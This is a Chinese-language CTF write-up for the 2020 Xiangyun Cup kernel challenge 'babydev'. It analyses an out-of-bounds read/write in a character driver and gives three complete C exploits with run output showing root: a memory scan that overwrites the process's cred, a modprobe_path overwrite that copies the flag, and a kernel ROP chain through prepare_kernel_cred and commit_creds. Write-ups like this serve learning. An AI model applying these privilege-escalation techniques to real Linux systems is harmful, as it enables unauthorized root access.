文章目录

  • 前言
  • 题目
  • 保护
  • 分析
  • 思路
    • 解法一:(思路不错)
    • 解法二:(最精简)
    • 解法三:(最简单)
  • 参考文章

前言

个人觉得exp要写的精简,适当注释,至少不应该留有冗余的代码,对于刚学习的pwner来说看wp是个难熬的过程,甚至误导

我记录下自己踩的坑,给大家节省查资料的时间

题目

2020祥云杯babydev

保护

start.sh

qemu-system-x86_64 \
-s \
-m 256M \
-kernel bzImage \
-initrd core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-cpu qemu64,+smep,+smap \
-nographic \
-monitor /dev/null

这题和babydriver和的名字、保护都差不多,但是题目难多了,开启了smap、smep保护 即禁止内核访问用户空间的数据、内核态无法shellcode

内核版本

$ strings vmlinux| grep "gcc"
%s version %s (lm0963@ubuntu) (gcc version 7.4.0 (Ubuntu 7.4.0-1ubuntu1~18.04.1)) %s
Linux version 5.4.0-rc3 (lm0963@ubuntu) (gcc version 7.4.0 (Ubuntu 7.4.0-1ubuntu1~18.04.1)) #2 SMP Tue Nov 26 18:12:15 CST 2019

init

$ cat init
#!/bin/shmount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag    #flag文件为root文件
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/consoleinsmod mychrdev.ko  #加载的模块
chmod 777 /dev/mychrdev  #任意读写
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh   #poweroff -d 0  -f

mychrdev.ko

$ checksec ./mychrdev.ko
[*] '/home/hnhuangjingyu/babydev/core/mychrdev.ko'Arch:     amd64-64-littleRELRO:    No RELROStack:    Canary found  #开启NX:       NX enabled #开启PIE:      No PIE (0x0)

分析

mychardev_init

申请了一块0x10010大小的内存将slab-object给到全局变量mydata,和平常内核题不同的是这题在模块初始化的时候就调用了kmalloc_order_trace,这个函数从内核源码分析如下:

//实际调用 : kmalloc_order_trace -> kmalloc_order
void *kmalloc_order(size_t size, gfp_t flags, unsigned int order)
{void *ret;struct page *page;flags |= __GFP_COMP;page = alloc_pages(flags, order); //!!!!!!!!!!!!直接调用内核伙伴分配器ret = page ? page_address(page) : NULL;ret = kasan_kmalloc_large(ret, size, flags);/* As ret might get tagged, call kmemleak hook after KASAN. */kmemleak_alloc(ret, size, 1, flags);return ret;
}

从上面可知它通过伙伴分配器,重新分配了一块页内存!!!!!下面会用到这个点

mychrdev_open

mychrdev_unlocked_ioctl

mychrdev_llseek

mychrdev_write

这个函数全是重点,需要好好理解下,当需要通过mychrdev_llseek函数修改llseek_offset相应的这里的值也会变化,也就是说可用通过调用mychrdev_llseek函数控制写入文件的偏移值

通过mychrdev_llseek函数和mychrdev_write配合分析可知offset_size控制着llseek修改文件偏移的范围,那么再通过mychrdev_write*(mydata + 0x10008)*变得足够大,那么就可以修改任意的文件偏移指针了

mychrdev_read

总结的思维图如下:

思路

这题有三种解法,其实三种解法思路都是一样的,不过就是利用提权的姿势不一样,这里都讲一下:

  1. 控制文件偏移值,利用循环爆破每次读取0x10000大小的内存数据,直到读取到struct cred,再覆盖数据为0
  2. 利用modprobe_path直接读取flag
  3. 同样也是修改文件偏移值,不同解法1的是这里是偏移文件读取后面的地址,最终将指向栈地址,执行栈rop
  4. 好像还有一种通过爆破cred地址的一字节的exp,但是跑不出来,我看了感觉wp写的怪怪的,所以这里没有记录

解法一:(思路不错)

既然要写入数据到struct cred那么就需要知道struct cred的地址,得到cred指针可以通过如下方式:

  1. 定位当前进行task_struct结构体的地址,根据cred指针的相对于task_struct结构体的偏移记得得到
  2. comm 用来标记可执行文件的名字,位于进程的 task_struct 结构体中。我们可以发现 comm 其实在 cred 指针的正下方,所以我们也可以先定位 comm ,然后定位 cred 指针的地址。(本题就是通过prctl对进程设置一个唯一名称,然后扫描这个名称)定义如下:
struct task_struct{//....../* Process credentials: *//* Tracer's credentials at attach: */const struct cred __rcu     *ptracer_cred;/* Objective and real subjective task credentials (COW): */const struct cred __rcu     *real_cred;/* Effective (overridable) subjective task credentials (COW): */const struct cred __rcu     *cred;  //指针#ifdef CONFIG_KEYS/* Cached requested key. */struct key          *cached_requested_key;  //指针
#endif/** executable name, excluding path.** - normally initialized setup_new_exec()* - access it with [gs]et_task_comm()* - lock it with task_lock()*/char                comm[TASK_COMM_LEN];  //####向上偏移0x10就是 *cred//.......
}

回到ida伪代码这里write函数的这句copy_from_user(*(mydata + 0x10000) + llseek_offset + mydata, in_buf, size_)其中*(mydata + 0x1000)、llseekk_offset是可控的,只有mydata是内存分配出来的值(不可控),这里需要向mydata的低地址处爆破struct tack_struct

疑问:

  • 为什么mydata的值不会改变,明明是一个slab-object
  • 为什么struct tack_struct地址会比mydata地址低,按照道理来说mydata在模块初始化的时候就分配了,换句话说就是内核启动的时候就mydata已经分配完成,而此时的我们的exp进程并没有运行,exp进程的struct tack_struct还不存在,那么就应该struct tack_struct地址就应该比mydata地址高

为了方便读者阅读,不影响文章的排版,我将疑问的解答放在exp结束后面 ->

回归主题!因为llseek_offset不能输入负数,而*(mydata+0x10000)是可以实现的。看了看函数iocatl泄漏的值发现了mydata的值。为了绕过llessk函数的一些检查,先将*(mydata + 0x10008)处的值设为一个较大的值

void leak_mydat_addr(int fd){char buf[0x28] = {0};ioctl(fd,0x1111,buf);for(int i = 0 ; i < 5; i++){printf("file -> 0x%llx \n",((size_t*)buf)[i]);if(i==4) mydata_addr = ((size_t*)buf)[i];}
}int main(){int fd = open("dev/mychrdev",2);leak_mydat_addr(fd);//其实也可以不用泄漏,地址固定,这个地址gdb一下就看出来了,为了理清思路第一个exp尽量写的详细点
//-----------------------------------------------------//初始状态://mydata_addr = 0xffff88800dca0000//*(mydata + 0x10000) = 0//*(mydata + 0x10008) = 0
//------------------扩大值-----------------------------------//write函数中有一句:if ( ** && llseek_offset >= *(mydata + 0x10008) )//*(mydata + 0x10008)上面说了这个值默认为0,那么想控制llseek_offset进行文件偏移读写,那么
就必须扩大这个值//恰好write函数中还有一句:*(mydata + 0x10008) += size_;//那么就刚好满足我们的需求,首先将它进行扩大,以便后面进行分析char buf[0x10000] = {0};write(fd,buf,sizeof buf);lseek(fd,0,0);  //重置llseek_offset,不重制则llseek_offset = 0x10000write(fd,buf,sizeof buf);//此时*(mydata + 0x10008) = 0x20000

接下来就是在*(mydata + 0x10000)处设为负数,控制llessk_offset为0即可向mydata前面的地址出读取内存了

//--------------------爆破---------------------------------size_t offset = 0x10001;char *crea_name = "my name is root!!!";size_t cred_addr;prctl(15,crea_name); //PR_SET_NAME //设置进程名称while(1){lseek(fd,offset,0);//注意下面这两句//if ( (unsigned __int64)(llseek_offset + size_) > 0x10000 )//  size_ = (unsigned __int16)-*(_WORD *)llseek_offset_porinter;//只需要将最后2字节设为0001且满足上面的条件 即可将size=0xffff((size_t*)buf)[0] = -(offset >> 8);((size_t*)buf)[1] = 0xffffffffffffffff >> 12;    //修改*(mydata + 0x10008)值,右移12位防止变>负数write(fd,buf,sizeof buf);//mydata_addr = 0xffff88800dca0000//\*(mydata + 0x10000) = (0xffff88800dca0000) -> 0xffffffffffff0000 = -0x10000//成功写入-0x10000后就可以使用read读写mydata前面的数据了,我们目的是需要找到结构体task_struct,因为位置不确定,所以需要爆破进行读取直到读取到struct task_structmemset(buf,0,sizeof buf);//清空缓冲区,方便下面识别数据lseek(fd,0,0);int err = read(fd,buf, sizeof buf);//读取mydata - 0x10000的内容if(err != -1){int result = memmem(buf,sizeof buf,crea_name,sizeof crea_name);//这里为了找到该进程结构体,可以给进程一个标识符号,通过prctl(PR_SET_NAME,"***")进行标识if(result){size_t addr = buf - (int)buf + result;cred_addr = *(size_t*)(addr - 0x10);printf("cred_addr -> 0x%llx\n",cred_addr);break;}}else{ break;}offset += 0x10000; //控制范围,每次向前读取0x10000的内存数据}

细节在exp里面有些地方可能需要gdb调试下就明白了,大概的流程就是向*(mydata + 0x10000)处写入-0x10000而对应的llsessk_offset值则为0x20000 最终就是在 *(mydata + 0x10000)中写入-0x10000,然后使用read函数读取mydata - 0x10000处的内容进行内容匹配是否存在struct cred结构信息,不存在即每次自增-0x10000

在爆破得到cred指针地址后,使*(mydata + 0x10000) + llseek_offset + mydata == cred_addr即可对struct cred进行写入

//--------------------getshell---------------------------------//得到cred指针地址后使*(mydata + 0x10000) + llseek_offset + mydata == cred_addr即可//mydata值固定 , 其余两个都是可控变量//构造*(mydata + 0x10000)值lseek(fd,offset + 0x10000,0);((size_t*)buf)[0] = (cred_addr - mydata_addr)>> 8;((size_t*)buf)[1] = 0xffffffffffffffff >> 12; //修改*(mydata+0x10008)的值write(fd,buf,sizeof buf);//构造llseek_offset值lseek(fd,0x100 - (cred_addr & 0xff),0);char mem[28] = {0};write(fd,mem,sizeof mem);system("/bin/sh");

完整exp

#include<stdio.h>size_t mydata_addr;void leak_mydat_addr(int fd){char buf[0x28] = {0};ioctl(fd,0x1111,buf);for(int i = 0 ; i < 5; i++){printf("file -> 0x%llx \n",((size_t*)buf)[i]);if(i==4) mydata_addr = ((size_t*)buf)[i];}
}int main(){int fd = open("dev/mychrdev",2);leak_mydat_addr(fd);//其实也可以不用泄漏,地址固定,这个地址gdb一下就看出来
了,为了理清思路第一个exp尽量写的详细点
//-----------------------------------------------------//初始状态://mydata_addr = 0xffff88800dca0000//*(mydata + 0x10000) = 0//*(mydata + 0x10008) = 0
//------------------扩大值-----------------------------------//write函数中有一句:if ( ** && llseek_offset >= *(mydata + 0x10008) )//*(mydata + 0x10008)上面说了这个值默认为0,那么想控制llseek_offset进行文件偏移读写,那么
就必须扩大这个值//恰好write函数中还有一句:*(mydata + 0x10008) += size_;//那么就刚好满足我们的需求,首先将它进行扩大,以便后面进行分析char buf[0x10000] = {0};write(fd,buf,sizeof buf);lseek(fd,0,0);  //重置llseek_offset,不重制则llseek_offset = 0x10000write(fd,buf,sizeof buf);//此时*(mydata + 0x10008) = 0x20000
//--------------------爆破---------------------------------size_t offset = 0x10001;char *crea_name = "my name is root!!!";size_t cred_addr;prctl(15,crea_name); //PR_SET_NAME //设置进程名称while(1){lseek(fd,offset,0);//注意下面这两句//if ( (unsigned __int64)(llseek_offset + size_) > 0x10000 )//  size_ = (unsigned __int16)-*(_WORD *)llseek_offset_porinter;//只需要将最后2字节设为0001且满足上面的条件 即可将size=0xffff((size_t*)buf)[0] = -(offset >> 8);((size_t*)buf)[1] = 0xffffffffffffffff >> 12;    //修改*(mydata + 0x10008)值,右移12位防止变>负数write(fd,buf,sizeof buf);//mydata_addr = 0xffff88800dca0000//\*(mydata + 0x10000) = (0xffff88800dca0000) -> 0xffffffffffff0000 = -0x10000//成功写入-0x10000后就可以使用read读写mydata前面的数据了,我们目的是需要找到结构体task_struct,因为位置不确定,所以需要爆破进行读取直到读取到struct task_structmemset(buf,0,sizeof buf);//清空缓冲区,方便下面识别数据lseek(fd,0,0);int err = read(fd,buf, sizeof buf);//读取mydata - 0x10000的内容if(err != -1){int result = memmem(buf,sizeof buf,crea_name,sizeof crea_name);//这里为了找到该进程结构体,可以给进程一个标识符号,通过prctl(PR_SET_NAME,"***")进行标识if(result){size_t addr = buf - (int)buf + result;cred_addr = *(size_t*)(addr - 0x10);printf("cred_addr -> 0x%llx\n",cred_addr);break;}}else{ break;}offset += 0x10000; //控制范围,每次向前读取0x10000的内存数据}
//--------------------getshell---------------------------------//得到struct cred地址后使*(mydata + 0x10000) + llseek_offset + mydata == cred_addr即可//mydata值固定 , 其余两个都是可控变量//构造*(mydata + 0x10000)值lseek(fd,offset + 0x10000,0);((size_t*)buf)[0] = (cred_addr - mydata_addr)>> 8;((size_t*)buf)[1] = 0xffffffffffffffff >> 12; //修改*(mydata+0x10008)的值write(fd,buf,sizeof buf);//构造llseek_offset值lseek(fd,0x100 - (cred_addr & 0xff),0);char mem[28] = {0};write(fd,mem,sizeof mem);system("/bin/sh");return 0;
}

运行结果

/ $ cat flag
cat: can't open 'flag': Permission denied
/ $ ./exp
file -> 0x70786500000064
file -> 0x7ffd66ffb4a0
file -> 0x10000001b7ea0
file -> 0xffffffff00000000
file -> 0xffff888005ca0000
cred_addr -> 0xffff888005c8bd80
/ # id
uid=0(root) gid=0(root) groups=1000(ctf)
/ # cat flag
flag{nothing}

疑问解答:

在做这题的时候参考了一些师傅的wp都没说为什么是向mydata的低地址处爆破,在此之间花了一段时间研究内核内存管理最终得出以下总结:

从上面分析mychardev_init函数可知mydata是通过伙伴分配器(不是slab分配器)重新拉取了页内存,因为是一块新的大内存所以不存在这块内存被别的进程使用所以它每次运行的值固定为:0xffff888005ca0000(所以可以不需要泄露该值地址),当我们执行exp程序后此时对应进程的struct task_struct就产生了,但是内核中依旧还有小内存碎片它们还被slab分配器管理着,理所应当我们exp进程的struct task_struct所需的内存就被slab分配器就接手分配了,所以task_struct的地址它会在mydata前面,且它的地址也不应该是固定的,为了验证我的说法,我将每次的task_struct地址和mydata的地址都打印出来,添加打印如下:

        int err = read(fd,buf, sizeof buf);printf("offset > -0x%llx\n",offset);  //新增if(err != -1){int result = memmem(buf,sizeof buf,crea_name,sizeof crea_name);if(result){size_t addr = buf - (int)buf + result;cred_addr = *(size_t*)(addr - 0x10);printf("mydata -> 0x%llx\n",mydata_addr);//新增printf("offset -> 0x%llx\n",result);//新增printf("cred_pointer -> 0x%llx\n",cred_addr);break;}}else{ break;}

运行结果:

//第一次运行:
/ $ ./exp
file -> 0x70786500000064
file -> 0x7ffe59adf4b0
file -> 0x10000001b7ea0
file -> 0xffffffff00000000
file -> 0xffff888005ca0000
offset > -0x10001
offset > -0x20001
offset > -0x30001
offset > -0x40001
mydata -> 0xffff888005ca0000   //mydata值不变
offset -> 0x59ae2048     //偏移
cred_pointer -> 0xffff888005c8bd80
//第二次运行
/ $ ./exp
file -> 0x70786500000064
file -> 0x7ffef4925b60
file -> 0x10000001b7ea0
file -> 0xffffffff00000000
file -> 0xffff888005ca0000
offset > -0x10001
offset > -0x20001
offset > -0x30001
offset > -0x40001
mydata -> 0xffff888005ca0000 //mydata值不变
offset -> 0xf4926238     //偏移
cred_pointer -> 0xffff888005c81d80
//第三次运行
/ $ ./exp
file -> 0x70786500000064
file -> 0x7ffe71be88b0
file -> 0x10000001b7ea0
file -> 0xffffffff00000000
file -> 0xffff888005ca0000
offset > -0x10001
offset > -0x20001
offset > -0x30001
offset > -0x40001
mydata -> 0xffff888005ca0000 //mydata值不变
offset -> 0x71be8f88     //偏移
cred_pointer -> 0xffff888005c8bd80
/ # id
uid=0(root) gid=0(root) groups=1000(ctf)

偏移不一致也就说明地址在变化

解法二:(最精简)

在这之前,你应该了解利用modprobe_path读取flag,具体的使用姿势可以看https://xz.aliyun.com/t/6067#toc-12 这个文章,也可以看我总结的文章https://blog.csdn.net/csdn546229768/article/details/124546007

在上面解法一后可知道可以通过写入*(mydata + 0x10000)处的值lseek_offset的偏移可进行任意读写,那么这里的思路就是向modprobe_path写入我们的高权限文件路径

#include<stdio.h>void loadFoot(){system("echo -ne '#!/bin/sh  \n/bin/cp /flag /tmp/flag  \n/bin/chmod 777 /tmp/flag' > /tmp/exp.sh \n");  //用于modprobe_path指向的文件system("echo -ne '\xff' > /tmp/errofile "); //构造一个错误文件system("chmod +x /tmp/exp.sh");system("chmod +x /tmp/errofile");
}int main(){size_t modprobe_path = 0xffffffff824445e0;//通过__reqest_mod....得到地址size_t mydata = 0xffff88800dca0000;//上面两个地址都可以通过gdb调试得到,且固定loadFoot();
//-----------------------扩大0x(mydata+0x10008)值-----------------int fd = open("dev/mychrdev",2);char buf[0x10000] = {0};write(fd,buf,sizeof buf);lseek(fd,0,0);write(fd,buf,sizeof buf);
//-----------------------写入modprobe_path地址-----------------lseek(fd,0x10001,0);((size_t*)buf)[1] = 0xffffffffffffffff >> 12;  //修改*(mydata + 0x10008)值,右移12位防止变>负数write(fd,buf,sizeof buf);lseek(fd,0x10001,0);((size_t*)buf)[0] = (modprobe_path - mydata) >> 8;write(fd,buf,sizeof buf);
//-----------------------getflag-----------------char name[0x10] = "/tmp/exp.sh\x00";lseek(fd,modprobe_path & 0xff,0);write(fd,name,sizeof name);//write(fd,name,0x10000);//会导致执行exp后qemu卡死//write(fd,name,0x1000);//报错:kernel NULL pointer dereference, address: 0000000000000000//所以覆盖的内容尽量保证内存结构system("./tmp/errofile");//执行错误文件,触发call_modprobe函数,从而执行我们的权限文件system("cat /tmp/flag");return 0;
}

运行结果

/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/ $ ./exp
./tmp/errofile: line 1: ÿ: not found
flag{nothing}
/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/ $ ls -l /tmp/flag
-rwxrwxrwx    1 root     root            14 May  2 15:40 /tmp/flag

解法三:(最简单)

因为有任意写的漏洞,且mydata和栈的值都泄漏了,那么就可以利用写入到栈返回地址,实现rop,其实原理都和上面一样,不过就是将任意写的地址换成了栈地址,这里有个泄漏栈的方式很细,首先调用泄漏方法

void leak(int fd){size_t base = 0xffffc90000000000;  //一般内核栈地址都是这个开头size_t buf[5] = {0};ioctl(fd,0x1111,buf);for(int i = 0 ; i < 5; i++){printf("leak -> 0x%llx \n",buf[i]);if(i==2) stack = base | ((buf[i] << 4 ) >> 4); //将高4位设为0if(i==4) mydata = buf[i];}
}

运行

//-------------------------------------------
/ $ ./exp
leak -> 0x70786500000064
leak -> 0x7ffe2f27c3e0
leak -> 0x10000001b7ea0  //可以进行gdb调试的时候低8位就是栈地址,然后内核栈地址的高8字节固定是0xffffc900,那么就可以推断出内核栈地址了
leak -> 0xffffffff00000000
leak -> 0xffff88800dca0000

然后就是常规的内核rop了,因为开启了smap所以需要用汇编rop

完整exp

#include<stdio.h>#define POP_RDI 0xffffffff813ead2c //: pop rdi ; ret
#define XCHG_RAX_RDI 0xffffffff81768ef2 //: xchg rax, rdi ; ret
#define SWAPGS 0xffffffff81c00eae //: swapgs ; popfq ; pop rbp ; ret
#define IRETQ 0xffffffff81025a56 size_t stack, mydata;
size_t prepare_kernel_cred = 0xffffffff8108d690 , commit_cred = 0xffffffff8108d340;void leak(int fd){size_t base = 0xffffc90000000000;  //一般内核栈地址都是这个开头size_t buf[5] = {0};ioctl(fd,0x1111,buf);for(int i = 0 ; i < 5; i++){printf("leak -> 0x%llx \n",buf[i]);if(i==2) stack = base | ((buf[i] << 4 ) >> 4); //将高4位设为0if(i==4) mydata = buf[i];}
}size_t user_sp ,user_ss , user_cs , user_flag;
void save(){asm("mov %cs , user_cs;""mov %ss , user_ss;""mov %rsp , user_sp;""pushf;""pop user_flag;");
}
void getShell(){execl("/bin/sh","sh",0);
}
int main(){save();int fd = open("dev/mychrdev",2);leak(fd);
//-----------------------扩大0x(mydata+0x10008)值-----------------char buf[0x10000] = {0};lseek(fd,0,0);write(fd,buf,sizeof buf);lseek(fd,0,0);write(fd,buf,sizeof buf);
//-----------------------写入modprobe_path地址-----------------lseek(fd,0x10001,0);((size_t*)buf)[1] = 0xffffffffffffffff >> 12;  //修改*(mydata + 0x10008)值,右移12位防止变>负数write(fd,buf,sizeof buf);lseek(fd,0x10001,0);stack -= 0x10;  //write函数的ret栈地址printf("stack -> 0x%llx \n",stack);((size_t*)buf)[0] = (stack - mydata) >> 8;write(fd,buf,sizeof buf);
//-----------------------getflag-----------------size_t rop[0x10] = {0};int i = 0;//因为开启了smap不能访问用户态,且gadget没有cr4 ret相关指令//所以用汇编形式进行roprop[i++] = POP_RDI;rop[i++] = 0;rop[i++] = prepare_kernel_cred;rop[i++] = XCHG_RAX_RDI;rop[i++] = commit_cred;rop[i++] = SWAPGS;rop[i++] = 0;rop[i++] = stack;    //rbprop[i++] = IRETQ;rop[i++] = getShell;rop[i++] = user_cs;rop[i++] = user_flag;rop[i++] = user_sp;rop[i++] = user_ss;lseek(fd,stack & 0xff,0);write(fd,rop,sizeof rop);return 0;
}

执行结果

/ $ ./exp
leak -> 0x70786500000064
leak -> 0x7ffe2f27c3e0
leak -> 0x10000001b7ea0
leak -> 0xffffffff00000000
leak -> 0xffff88800dca0000
stack -> 0xffffc900001b7e90
/ # id
uid=0(root) gid=0(root)
/ # cat flag
flag{nothing}

历时一周终于搞定这题了,幸亏是五一放假,不然平时上课还真没时间整

参考文章

这篇文章是几位师傅推荐的,确实写的不错:
http://p4nda.top/2018/11/07/stringipc/#1-%E4%BF%AE%E6%94%B9cred%E7%BB%93%E6%9E%84%E6%8F%90%E5%8D%87%E6%9D%83%E9%99%90

祥云杯-2020babydev相关推荐

  1. [2020首届祥云杯]带音乐家

    [2020首届祥云杯]带音乐家 题目: 下载好附件,打开,得到一个文件与一个rar包: 并且rar包是经过了加密的,我这里去010里看了下,发现并不是伪加密: 所以突破点就只有上面的decode_it ...

  2. 祥云杯-re复现 (未完待续)

    周末祥云杯没打,主要是自己想摸了..(就是这么直白)还有就是nctf举办,我出题,我到比赛那天还没出完...(太咕了..) 比赛后就想来复现这比赛,看解题人数,感觉满难的,应该很有质量,就跟着null ...

  3. 祥云杯2022 writeup

    0x01 web 1.ezjava 下载源码对jar文件进行反编译,发现POST /myTest会出现反序列化漏洞 util ,最后好像没用到 检查程序,发现apache的common−collect ...

  4. 2021祥云杯PassWordBox_ProVersion

    目录 前言: 程序分析 大致思路: 利用链: _IO_wfile_overflow _IO_wfile_underflow_mmap: exp: 前言: 复现一下2021祥云杯PassWordBox_ ...

  5. 2021祥云杯部分pwn

    note 格式化字符串 本题考查了scanf的格式化字符串利用.一般我们用的都是printf的格式化字符串.这里是scanf 踩坑 一开始没有注意到sendline会多发一个换行符,导致往栈上$7的s ...

  6. 2021祥云杯部分wp

    祥云杯2021 目前只做了两道题(没办法 tcl... MISC-鸣雏恋 下载下来是个word,打开只有一句话 不太对劲,放到010里看一看发现文件头50 4B 03 04 经典压缩包了,文件后缀改成 ...

  7. [2021祥云杯]secrets_of_admin

    [2021祥云杯]secrets_of_admin 文章目录 [2021祥云杯]secrets_of_admin 代码分析 /的POST方式 /admin的GET方式 /admin的POST方式 /a ...

  8. 深入分析祥云杯easy_yii

    深入分析祥云杯easy_yii 题目描述 yii最新的链子 前置知识 析构函数__destruct 官方解释:析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行 <?php cl ...

  9. java 中1%3c1%3c1_祥云杯2020 部分WriteUp

    祥云杯 Web ★sign 1%09||%09ls%09/ 1%09||%09ca\t%09in\dex.p\hp时有个闪 1%09||find%09/%09-name%09`echo%09ZmxhK ...

最新文章

  1. C++ VARIANT 学习小记录
  2. 文本去重之MinHash算法——就是多个hash函数对items计算特征值,然后取最小的计算相似度...
  3. number to string - LeetCode【数字 = 字符串】
  4. Android中的Service组件详解
  5. CentOS 7.4下使用yum安装MySQL5.7.20 最简单的
  6. HLS_error implicit instantiation of undefined template ‘ssdm_int
  7. 栈-顺序表(代码、分析、汇编)
  8. 泰拉瑞亚服务器怎么让玩家注册,上线10年,《泰拉瑞亚》为何变成了一款交友游戏?...
  9. 那些与 IE 相伴的日子
  10. 旗下首发双模5G+双挖孔全面屏!Redmi K30真机谍照曝光
  11. 《回答sort一例》-linux命令五分钟系列之二十八
  12. 为什么Kaggle不会让你成为一名出色的数据科学家?
  13. 精讲!!! Web服务器基础与http协议
  14. 为什么小企业更应该关注人工智能?
  15. 蓝湖设计稿移动端布局
  16. Matlab求一阶导数
  17. mysql数据库热备份_mysql数据库热备份
  18. CVE-2020-14364:QEMU USB模块越界读写漏洞通告
  19. everything搜到不到文件的设置问题
  20. operator=、operator[]、operator()操作符重载

热门文章

  1. STM32 定时器详解
  2. TPLINK AC650双频高增益无线USB网卡 TL-WDN5200H免驱版 Ubuntu16.04 安装
  3. 《数据库应用系统实践》------ 公园游客日流量管理系统
  4. Linux终端无法输入问题解决
  5. STM32编程中,float转u32和u32转float的方法
  6. dubbo zookeeper not connected
  7. 机器学习算法系列(十六)-非线性支持向量机算法(Non-Linear Support Vector Machine)
  8. 关于ZFPlayer集成播放 rtmp 视频流的总结
  9. Revit 模型一键输出 3D Tiles (for Cesium) 和 glTF/glb
  10. webpack打包处理